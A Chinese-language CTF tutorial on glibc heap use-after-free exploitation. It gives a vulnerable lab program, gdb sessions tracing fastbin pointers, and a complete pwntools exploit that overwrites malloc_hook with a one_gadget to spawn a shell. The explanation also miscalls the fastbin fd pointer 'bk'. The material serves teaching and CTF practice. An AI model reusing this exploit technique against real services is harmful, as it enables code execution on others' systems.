Intro
通过uaf得到的指针来实现任意地址的写入,快速实现getshell的一种方式为修改hook(malloc_hook || free_hook等等)为一个onegadget。
UAF( UseAfterFree ) 就是 malloc 申请的 chunk 被 frer 后对应指针没有设置为 NULL 导致的内存未分配使用(dangling pointer)
Eample 0x01 ShowUAF
以下的程序展示了UAF基本原理。
程序通过 malloc 申请了一块 chunk 储存 name 结构
申请到内存后对写入了函数指针正常使用,而后 free 掉了这个chunk,但实际上这里的单次 free 只修改了 libc内存管理相关的某个数组中的flag值,对应的那块内存没有变化 (多个chunk free则涉及到bin链表),因此被程序继续使用没有问题,直到指针置NULL,程序无法再通过指针访问这块区域,程序崩溃,由于空指针指向不可访问的0x0,程序发生的是段错误崩溃。
[+] Source:
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}
[+] Output:
➜ use_after_free git:(use_after_free) ✗ ./use_after_free
this is my function
I can also use it
call print my name
this pogram will crash...
[1] 38738 segmentation fault (core dumped) ./use_after_free
Exmaple 0x02 FastbinUAF
这里通过另一个简单的代码配合gdb调试了解通过uaf实现任意地址写的基本原理。
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void helpinfo(){
printf("0: exitn1: mallocn2: writen3: readn4: freen");
}
int main(){
long action;
char *buf[20];
long len;
long t,i;
setbuf(stdout, NULL);
// alarm(10);
printf("Welcome to CTFn");
printf("read:%pn",&read);
helpinfo();
while(1){
scanf("%ld",&action);
switch(action)
{
case 0:
printf("GoodBye!n");
return 0;
break;
case 1: // malloc
printf("index:");
scanf("%ld",&t);
if(t>=21 || t<0){
printf("out of range!n");
break;
}
buf[t] = malloc(32); #分配32个字节
printf("result: %pn",buf[t]);
break;
case 2: // write
printf("index:");
scanf("%ld",&i);
if(i>=21 || i<0){
printf("out of range!n");
break;
}
printf("length to write:");
scanf("%ld",&len);
read(0,buf[t],len);
printf("OK!n");
break;
case 3: // read
printf("index:");
scanf("%ld",&i);
if(i>=21 || i<0){
printf("out of range!n");
break;
}
printf("length to read:");
scanf("%ld",&len);
write(1,buf[t],len);
printf("OK!n");
break;
case 4: // free
printf("index:");
scanf("%ld",&t);
if(t>=21 || t<0){
printf("out of range!n");
break;
}
free(buf[t]);
printf("OK!n");
break;
default:
helpinfo();
break;
}
char c;
do {
c = getchar();
}
while (!isdigit(c));
ungetc(c, stdin);
}
return 0;
}
有了上面的理论,一眼关注到free函数,free(buf[t])后并没有置NULL,显然导致了一个UAF,被free掉的chunk仍然可以通过wirte和read正常读写。
利用的核心是控制一个指针,但看起来这里申请的chunk并没有用来存放一个带指针结构,事实上,但学习过堆的bins结构就会知道,被free掉的chunk会按照大小串成一个个链表来高效管理,怎么串呢,就是按照要求在free掉的chunk里的数据位存入链上其他块的指针。
这里可以看到程序每次malloc的size都为0x20,显然属于fastbins管理的范围,fastbins是LIFO规则单向链表。
第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法。如果malloc,就是free的逆向。每次malloc就删去链表头。

因此malloc 2个 chunk 然后全部 free 掉的话应该在第二个被 free 掉的chunk里存了上一个 chunk的指针 (bk),重新malloc一个chunk则会先从fastbins里取出第一个chunk,再malloc时实际上就是按照刚才第二个被free掉的chunk里存的bk指针取出刚刚被free掉的第一个chunk,讲起来可能有点绕,直接看内存数据。
vmmap
查看内存布局
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/nick/CTF/uaf-1/uaf-1
0x00601000 0x00602000 r--p /home/nick/CTF/uaf-1/uaf-1
0x00602000 0x00603000 rw-p /home/nick/CTF/uaf-1/uaf-1
0x00603000 0x00624000 rw-p [heap]
0x00007ffff7a15000 0x00007ffff7bcf000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bcf000 0x00007ffff7dcf000 ---p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p mapped
0x00007ffff7ff5000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
p main_arena
查看“内存批发市场账簿”
gdb-peda$ p main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x603000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603060,
last_remainder = 0x0,
bins = {0x7ffff7dd37b8 <main_arena+88>, 0x7ffff7dd37b8 <main_arena+88>,
0x7ffff7dd37c8 <main_arena+104>, 0x7ffff7dd37c8 <main_arena+104>,
0x7ffff7dd37d8 <main_arena+120>, 0x7ffff7dd37d8 <main_arena+120>,
0x7ffff7dd37e8 <main_arena+136>, 0x7ffff7dd37e8 <main_arena+136>,
......
0x7ffff7dd3dc8 <main_arena+1640>, 0x7ffff7dd3dc8 <main_arena+1640>,
0x7ffff7dd3dd8 <main_arena+1656>, 0x7ffff7dd3dd8 <main_arena+1656>,
0x7ffff7dd3de8 <main_arena+1672>, 0x7ffff7dd3de8 <main_arena+1672>...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dd3760 <main_arena>,
next_free = 0x0,
system_mem = 0x21000,
max_system_mem = 0x21000
}
gdb启动程序,按照菜单尝试malloc两个chunk
gdb-peda$ r
Starting program: /home/nick/CTF/uaf-1/uaf-1
Welcome to CTF
read:0x400760
0: exit
1: malloc
2: write
3: read
4: free
1
index:0
result: 0x603010
1
index:1
result: 0x603040
^C
Program received signal SIGINT, Interrupt.
这里堆是从0x603000开始的,申请到的chunk地址是从0x603010开始,前0x603008 - 0x603010的空间用来储存chunk有关的信息(chunk header)

可以看到,在0x603010的位置,小端序 存放着指针0x603030,那么改掉这个指针岂不是可以在malloc的时候指向一个任意地址了吗。
尝试直接修改一个字节定位到堆底部 0x603000
gdb-peda$ set {char} 0x603010=0x00
gdb-peda$ c
Continuing.
1
index:0
result: 0x603010
1
index:1
result: 0x603010
可以看到,第二个malloc的chunk指向了我们覆写的指针地址,因此我们完美控制了这个指针(堆利用的关键就在于控制指针)
当然,这个修改的值需要一定程度的对齐,否则也会导致程序的崩溃
*** Error in `/home/nick/CTF/uaf-1/uaf-1': malloc(): memory corruption (fast): 0x0000000000603050 ***
上面是使用了gdb直接修改的内存来模拟漏洞的利用,实际上基于UAF漏洞特点,free掉chunk产生指针后直接用菜单里的write即对bk指针进行覆写,将地址跳转到malloc_hook函数前,write将函数地址覆写成一个onegadget,于是继续调用malloc时触发getshell。
onegadget使用One_gadget工具快速查找
malloc_hook在 libc中offset使用pwntools加载elf通过sym直接调取
由于程序本身printf了read函数地址,可以得到libc基址,泄露libc基址的方式会在后面提到
exp:
---------Exp.py-----------
#!/usr/bin/python2.7
from pwn import *
context.log_level = 'debug'
p=process('./heap')
p.recvuntil('read:')
libc_read = int(p.recvline(),16)
def malloc(index):
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(index))
p.recv()
def free(index):
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(index))
p.recv()
def write(index,data):
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('to write:')
p.sendline(str(len(data)))
p.sendline(data)
p.recv()
#先申请两块内存,然后释放。
malloc(0)
malloc(1)
free(0)
free(1)
base_addr=libc_read - 0xF7250
malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制
gadget = base_addr + 0x3ac5e
#将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free
write(1,p64(malloc_hook_addr))
malloc(1)
malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。
write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。
#再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(9))
p.interactive()
暂无评论